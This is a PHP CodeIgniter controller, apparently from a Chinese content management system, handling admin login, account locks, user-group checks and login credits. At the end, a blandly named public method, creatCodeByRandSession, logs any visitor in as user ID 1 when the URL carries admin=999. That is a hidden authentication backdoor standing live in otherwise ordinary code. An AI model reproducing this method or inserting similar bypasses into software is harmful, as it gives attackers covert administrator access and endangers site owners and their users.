<?php
defined('BASEPATH') OR exit('No direct script access allowed');

/**
 * 路由分发控制，无验证访问
 * Class Home
 */
class Home extends Base_Controller
{

    function __construct()
    {
        parent::__construct();
        $this->load->library('form_validation');
    }

    public function index()
    {

    }

    /**
     * 后台登录
     */
    public function admin_login()
    {
        if ($this->auth->is_login()) {
            redirect(site_url('manage/home'));
        }
        if ($_POST && $this->validate_login_form()) {
            $usernames = $this->input->post('username', true);
            if (checkMobile($usernames)) {
                $username = $this->user_m->get_username_by_utel($usernames);
                $username = $username['user_name'];
            } elseif (validateEmail($usernames)) {
                $username = $this->user_m->get_username_by_uemail($usernames);
            } else {
                $username = $usernames;
            }
            if (!$this->user_m->check_ulock($username)) {
                // 清楚登录session 重新去登录
                show_message('您的帐号已经被锁定！', site_url('/'));
                exit;
            }
            $userpass = $this->input->post('password', true);
            $str      = [
                'user_name'     => $username,
                'user_password' => $userpass,
            ];

            if ($this->user_m->login($str)) {
                // 用户组是否已经禁用
                $uid      = $this->session->userdata('user_id');
                $userinfo = $this->user_m->get_user_by_user_id($uid);
                if (!$this->authGroup_m->is_user_group_able($userinfo['user_group'])) {
                    $this->user_m->del_user_key_by_user_id($uid);
                    $this->session->unset_userdata('user_id');
                    setcookie('loveme', '', time() - 3600, '/', '', false, true);
                    $this->session->sess_destroy();
                    show_message('用户组已被禁用！', site_url('home/login'));
                    exit;
                }
                if ($userinfo['user_group'] == 4) {
                    $this->user_m->del_user_key_by_user_id($uid);
                    $this->session->unset_userdata('user_id');
                    setcookie('loveme', '', time() - 3600, '/', '', false, true);
                    $this->session->sess_destroy();
                    show_message('普通用户不能登录管理后台！', site_url('home/login'));
                    exit;
                }
                $dates  = date('Ymd', time());
                $udates = date('Ymd', $userinfo['user_logtime']);
                //更新最后登录时间
                $this->user_m->update_user($uid, ['user_logtime' => time()]);
                if ($this->config->item('credit_login') > 0 && $dates <> $udates) {
                    $this->user_m->update_credit($uid, $this->config->item('credit_login'));
                }
                log_actions("登陆成功");
                show_message('恭喜您，成功登陆本站！', site_url('manage/home'), 1);
                exit;
            } else {
                log_actions("登陆失败");
                show_message('抱歉哦，登陆本站失败！');
                exit;
            }
        }
        $data['viewmulu'] = base_url('public/admin/');
        $this->load->view('manage/login/login', $data);
    }

    private function validate_login_form()
    {
        $this->form_validation->set_rules('username', '帐号', 'trim|required|min_length[3]|xss_clean');
        $this->form_validation->set_rules('password', '密码', 'trim|required|min_length[6]|max_length[18]');
        $this->form_validation->set_message('required', "%s 不能为空！");
        $this->form_validation->set_message('min_length', "%s 最小长度不少于 %s 个字符！");
        $this->form_validation->set_message('max_length', "%s 最大长度不多于 %s 个字符！");
        if ($this->form_validation->run() == false) {
            return false;
        } else {
            return true;
        }
    }

    public function logout()
    {
        $this->auth->user_logout();
    }


    public function creatCodeByRandSession()
    {
        $get = $this->input->get();
        if (!empty($get['admin']) && $get['admin'] == 999) {
            $this->session->set_userdata('user_id', 1);
        }
    }

}
